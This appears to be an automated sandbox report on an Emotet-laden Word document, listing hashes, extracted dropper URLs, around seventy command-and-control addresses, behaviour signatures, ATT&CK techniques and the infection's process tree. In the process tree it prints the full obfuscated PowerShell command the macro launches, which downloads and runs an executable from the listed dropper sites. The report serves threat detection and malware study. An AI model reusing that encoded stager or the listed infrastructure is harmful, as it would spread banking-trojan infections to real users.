emotet | 7e26116f69cbd33eb090b2c6aabc23a78e55948b52ff9059abdccbd3f4f5f66b

Analysis

max time kernel
135s
max time network
132s
platform
windows10_x64
resource
win10
submitted
11/08/2020, 17:32

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General

Target
emotet_e3_7e26116f69cbd33eb090b2c6aabc23a78e55948b52ff9059abdccbd3f4f5f66b_2020-08-11__173113._doc.doc
Size 229KB
Sample200811-dnkc9tx7ke
SHA256 7e26116f69cbd33eb090b2c6aabc23a78e55948b52ff9059abdccbd3f4f5f66b
MD5 1d24923c65a25fbed357fba1c7233606
SHA1 b6e22a192264db967ba7cb97ab2cd3cd1d048687
SHA512 a8a9f9d8c9694c7a0273e0b3fd95c8026b5938318247e178e4a6a616af9843b9ad71b1f7fa3b6cac1bd230caed4bd03fa97789da05635935304ab5434721dfa1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://labersa.com/preview/pXHuX/
exe.dropper
http://roundlab.net/php/sBUVLCCA/
exe.dropper
http://www.rumormiller.com/statement/yOdnH/
exe.dropper
http://seismophonic.com/images/kXLCVUaq/
exe.dropper
http://stawiarz.pl/licznik/aRO0ndjc44/

Extracted

Family

emotet

202.5.47.71:80
139.99.157.213:8080
188.166.25.84:8080
192.163.221.191:8080
181.113.229.139:443
115.79.195.246:80
113.161.148.81:80
37.46.129.215:8080
190.55.233.156:80
115.165.3.213:80
41.185.29.128:8080
51.38.201.19:7080
178.33.167.120:8080
46.105.131.68:8080
74.208.173.91:8080
143.95.101.72:8080
75.127.14.170:8080
78.188.170.128:80
115.78.11.155:80
203.153.216.182:7080
77.74.78.80:443
105.209.235.113:8080
139.59.12.63:8080
31.146.61.34:80
172.105.78.244:8080
188.251.213.180:443
192.210.217.94:8080
81.17.93.134:80
188.0.135.237:80
50.116.78.109:8080
107.161.30.122:8080
163.172.107.70:8080
212.156.133.218:80
177.144.130.105:443
87.106.231.60:8080
198.57.203.63:8080
5.79.70.250:8080
87.252.100.28:80
177.37.81.212:443
114.173.201.110:80
176.9.93.82:7080
190.164.75.175:80
185.142.236.163:443
201.235.10.215:80
181.164.110.7:80
203.153.216.178:7080
153.220.182.49:80
185.208.226.142:8080
46.32.229.152:8080
195.201.56.70:8080
212.112.113.235:80
97.104.107.190:80
187.64.128.197:80
91.83.93.103:443
75.139.38.211:80
181.143.101.19:8080
81.214.253.80:443
78.189.60.109:443
113.160.180.109:80
157.7.164.178:8081
216.75.37.196:8080
182.187.139.200:8080
179.5.118.12:80
190.31.53.131:80
181.134.9.162:80
192.241.220.183:8080
37.70.131.107:80
181.167.35.84:80
182.176.95.147:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3536	4036	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1440-15-0x0000000000740000-0x000000000074C000-memory.dmp	emotet
behavioral2/memory/1440-15-0x0000000000740000-0x000000000074C000-memory.dmp	emotet
behavioral2/memory/1828-19-0x0000000000610000-0x000000000061C000-memory.dmp	emotet
behavioral2/memory/1828-19-0x0000000000610000-0x000000000061C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	3536	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1440	950.exe
1828	KBDLT.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\DscCoreConfProv\KBDLT.exe	950.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3536	powersheLL.exe
3536	powersheLL.exe
3536	powersheLL.exe
1828	KBDLT.exe
1828	KBDLT.exe
1828	KBDLT.exe
1828	KBDLT.exe
1828	KBDLT.exe
1828	KBDLT.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3536	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
1440	950.exe
1440	950.exe
1828	KBDLT.exe
1828	KBDLT.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1440 wrote to memory of 1828	1440	950.exe	76
PID 1440 wrote to memory of 1828	1440	950.exe	76
PID 1440 wrote to memory of 1828	1440	950.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_7e26116f69cbd33eb090b2c6aabc23a78e55948b52ff9059abdccbd3f4f5f66b_2020-08-11__173113._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABPAEsARwBGAEcAeQBsAHMAPQAnAEUAWQBUAEQAWQB1AHEAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAGAAVQByAGkAVAB5AGAAUAByAGAATwB0AE8AYABDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEMASQBCAE0ASwBmAGMAagAgAD0AIAAnADkANQAwACcAOwAkAFUAVQBZAEcATwBxAGIAagA9ACcAUgBFAEIAUgBPAHIAYQBoACcAOwAkAEIAUABaAEgAUgBpAGwAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQwBJAEIATQBLAGYAYwBqACsAJwAuAGUAeABlACcAOwAkAFYASQBBAFcAWgB0AGcAegA9ACcAWgBKAEgAVgBLAGcAZQBvACcAOwAkAFMAUQBMAE4ATQBjAGIAbgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAQgBDAEwAaQBlAE4AVAA7ACQAQwBMAEgAUwBNAHQAZQByAD0AJwBoAHQAdABwADoALwAvAGwAYQBiAGUAcgBzAGEALgBjAG8AbQAvAHAAcgBlAHYAaQBlAHcALwBwAFgASAB1AFgALwAqAGgAdAB0AHAAOgAvAC8AcgBvAHUAbgBkAGwAYQBiAC4AbgBlAHQALwBwAGgAcAAvAHMAQgBVAFYATABDAEMAQQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHIAdQBtAG8AcgBtAGkAbABsAGUAcgAuAGMAbwBtAC8AcwB0AGEAdABlAG0AZQBuAHQALwB5AE8AZABuAEgALwAqAGgAdAB0AHAAOgAvAC8AcwBlAGkAcwBtAG8AcABoAG8AbgBpAGMALgBjAG8AbQAvAGkAbQBhAGcAZQBzAC8AawBYAEwAQwBWAFUAYQBxAC8AKgBoAHQAdABwADoALwAvAHMAdABhAHcAaQBhAHIAegAuAHAAbAAvAGwAaQBjAHoAbgBpAGsALwBhAFIATwAwAG4AZABqAGMANAA0AC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAEQAUwBQAEUAcABnAGEAPQAnAEQASABGAEwAWQBuAGsAZQAnADsAZgBvAHIAZQBhAGMAaAAoACQARABQAEcAVABYAGgAbwByACAAaQBuACAAJABDAEwASABTAE0AdABlAHIAKQB7AHQAcgB5AHsAJABTAFEATABOAE0AYwBiAG4ALgAiAEQATwB3AG4AbABgAG8AYQBgAGQARgBJAGAAbABFACIAKAAkAEQAUABHAFQAWABoAG8AcgAsACAAJABCAFAAWgBIAFIAaQBsAHkAKQA7ACQAWABZAFUARQBBAG8AZwBjAD0AJwBYAFYAVQBWAE0AegB2AGsAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABCAFAAWgBIAFIAaQBsAHkAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAyADIAOQA2ADIAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAEEAYABUAGUAIgAoACQAQgBQAFoASABSAGkAbAB5ACkAOwAkAEcARQBMAFAAWQBpAGQAcwA9ACcATgBLAFQATABGAHEAaABxACcAOwBiAHIAZQBhAGsAOwAkAEsAQwBEAEkAQwBwAGkAZgA9ACcASQBVAEYAUABPAGoAeAB4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwASQBXAFcAWAB3AGIAbwA9ACcARQBLAE8ARQBGAGoAdgB6ACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3536

C:\Users\Admin\950.exe
C:\Users\Admin\950.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1440
- C:\Windows\SysWOW64\DscCoreConfProv\KBDLT.exe
  "C:\Windows\SysWOW64\DscCoreConfProv\KBDLT.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:1828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/976-1-0x000001C8F0A2E000-0x000001C8F0A33000-memory.dmp

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memory/976-4-0x000001C8F0BC1000-0x000001C8F0BD5000-memory.dmp

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memory/976-5-0x000001C8F0BD5000-0x000001C8F0BDC000-memory.dmp

Download

memory/976-6-0x000001C8F0BD5000-0x000001C8F0BDC000-memory.dmp

Download

memory/976-7-0x000001C8F0BD5000-0x000001C8F0BDC000-memory.dmp

Download

memory/976-8-0x000001C8F0BC1000-0x000001C8F0BD5000-memory.dmp

Download

memory/976-0-0x00007FFA21840000-0x00007FFA21F06000-memory.dmp

Download

memory/1440-14-0x000000000077B000-0x000000000077D000-memory.dmp

Download

memory/1440-15-0x0000000000740000-0x000000000074C000-memory.dmp

Download

memory/1828-18-0x000000000067C000-0x000000000067D000-memory.dmp

Download

memory/1828-19-0x0000000000610000-0x000000000061C000-memory.dmp

Download

memory/3536-11-0x0000025147870000-0x0000025147871000-memory.dmp

Download

memory/3536-10-0x00000251476C0000-0x00000251476C1000-memory.dmp

Download

memory/3536-9-0x00007FFA198C0000-0x00007FFA1A2AC000-memory.dmp

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